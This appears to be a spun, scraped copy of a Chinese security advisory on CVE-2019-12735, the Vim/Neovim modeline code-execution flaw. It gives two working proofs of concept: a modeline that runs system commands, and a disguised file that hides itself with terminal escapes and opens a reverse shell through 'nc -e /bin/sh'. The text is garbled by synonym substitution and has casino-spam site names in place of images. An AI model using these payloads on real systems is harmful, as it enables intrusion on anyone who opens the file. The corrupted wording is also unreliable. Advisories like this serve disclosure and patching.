Vim和Neovim肆意代码执行缝隙安全公告

颁布功夫 2019-06-06

缝隙编号和级别


CVE编号:CVE-2019-12735,,,,,,危险级别:高危,,,,,,CVSS分值:8.6


受影响的版本


Vim < 8.1.1365

Neovim < 0.3.6


缝隙概述


Vim是一款职能壮大、高度可定造的文本编纂器。。。。。。由于Vim在代码补全、编译及方便编程等方面极度壮大,,,,,,因而在法式员中被宽泛使用,,,,,,成为类Unix系统用户最喜欢的文本编纂器之一。。。。。。


文本编纂器Vim/Neovim存在严沉缝隙,,,,,,通过打开出格机关的文本文件,,,,,,模驶叫选项未被禁用的话,,,,,,就可导致Vim/Neovim肆意代码执行缝隙。。。。。。缝隙成因是模式行中仅允许选项子集,,,,,,若是选项的值蕴含一个表白式,,,,,,就能够在沙箱中运行。。。。。。:source! 号令可绕过沙箱,,,,,,它能够从既定文件中读取并执行号令,,,,,,因而能够轻松构建在沙箱表允许运行代码的模式行。。。。。。


缝隙验证


POC: https://github.com/numirias/security/blob/master/doc/2019-06-04_ace-vim-neovim.md。。。。。。


第一种:
测试版本如下:
 
8827太阳集团(Macau)股份有限公司-Official website

1、创建poc.txt


:!uname -a&&whoami||" vi:fen:fdm=expr:fde=assert_fails("source\!\ \%"):fdl=0:fdt="


2、确保未禁用modeline选项(:set modeline)


使用如下号令查看号令地位


8827太阳集团(Macau)股份有限公司-Official website

 
如下:
 

8827太阳集团(Macau)股份有限公司-Official website 


8827太阳集团(Macau)股份有限公司-Official website


3、在vim中打开该txt


vim poc.txt
而后系统会执行 uname -a&&whoami

 

8827太阳集团(Macau)股份有限公司-Official website


第二种,,,,,,创建反弹shell


该PoC描述了一种真实的攻击步骤,,,,,,其中一旦用户打开文件就启动反弹shell。。。。。。 为了暗藏攻击,,,,,,文件将在打开时立即沉写。。。。。。 

此表,,,,,,当使用cat打印内容时,,,,,,PoC使用终端转义序列来暗藏号令行。。。。。。(而使用cat -v能够显示现实内容。。。。。。)


shell.txt:
\x1b[?7l\x1bSNothing here.\x1b:silent! w | call system(\'nohup nc 127.0.0.1 9999 -e /bin/sh &\') | redraw! | file | silent! # " vim: set fen fdm=expr fde=assert_fails(\'set\\ fde=x\\ \\|\\ source\\!\\ \\%\') fdl=0: \x16\x1b[1G\x16\x1b[KNothing here."\x16\x1b[D \n

 

8827太阳集团(Macau)股份有限公司-Official website


建复建议



升级到Vim 8.1.1365、Neovim 0.3.6或以上版本,,,,,,此表建议禁用模式行,,,,,,使用securemodelines插件。。。。。。


Vim补丁8.1.1365: 

https://github.com/vim/vim/commit/5357552


Neovim补�。。。。。。ㄔ趘0.3.6中颁布):
https://github.com/neovim/neovim/pull/10082

https://github.com/neovim/neovim/releases/tag/v0.3.6


参考链接


https://github.com/numirias/security/blob/master/doc/2019-06-04_ace-vim-neovim.md